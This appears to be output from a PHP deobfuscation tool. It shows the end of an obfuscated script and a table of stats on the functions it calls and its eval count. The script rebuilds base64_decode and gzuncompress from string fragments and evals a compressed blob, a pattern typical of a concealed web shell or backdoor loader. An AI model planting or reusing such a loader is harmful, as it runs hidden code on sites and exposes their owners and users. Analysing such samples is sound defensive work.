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');$mftp_xwd = array('base' ,'64_d' ,'ecod' ,'e'); $avmebdisi = array('gz', 'un', 'co', 'mp', 're', 'ss') ;$yrqa_lcsn = 'implod'.chr(101).'' ; $dwhz = $yrqa_lcsn('', $mftp_xwd); $uckbgxi = $yrqa_lcsn('', $avmebdisi); eval ( $uckbgxi( $dwhz( $yrqa_lcsn( '', $mybzgp ) ) ) ) ; ?>
Function Calls
| chr | 1 |
| implode | 3 |
| gzuncompress | 1 |
| base64_decode | 1 |
Stats
| MD5 | b76d051f68663aaa92a2c24164db2d6e |
| Eval Count | 1 |
| Decode Time | 125 ms |